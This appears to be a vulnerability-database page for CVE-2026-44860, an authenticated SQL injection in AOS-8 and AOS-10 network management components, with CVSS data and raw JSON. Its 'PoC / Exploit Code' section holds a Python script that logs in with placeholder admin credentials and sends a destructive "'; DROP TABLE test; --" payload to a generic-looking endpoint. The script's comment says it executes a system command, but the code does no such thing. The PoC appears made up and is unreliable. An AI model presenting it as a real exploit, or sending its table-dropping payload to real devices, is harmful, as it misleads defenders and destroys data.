Security Vulnerability Report
中文
CVE-2026-44860 CVSS 7.2 HIGH

CVE-2026-44860

Published: 2026-05-12 20:16:45
Last Modified: 2026-05-12 20:16:45

Description

SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AOS-8
AOS-10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-44860 # This script demonstrates the SQL injection vulnerability. # Requires administrative credentials. import requests target = "https://<aos-device-ip>/api/v1/management" session = requests.Session() # 1. Authenticate as Admin login_data = {"username": "admin", "password": "password"} session.post(target + "/login", json=login_data) # 2. Craft SQL Injection payload # The payload aims to execute a system command via the database payload = "'; DROP TABLE test; --" # 3. Send malicious request to vulnerable endpoint vuln_param = {"config_id": payload} response = session.post(target + "/update_config", json=vuln_param) print(f"Exploit sent. Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44860", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:44.620", "lastModified": "2026-05-12T20:16:44.620", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}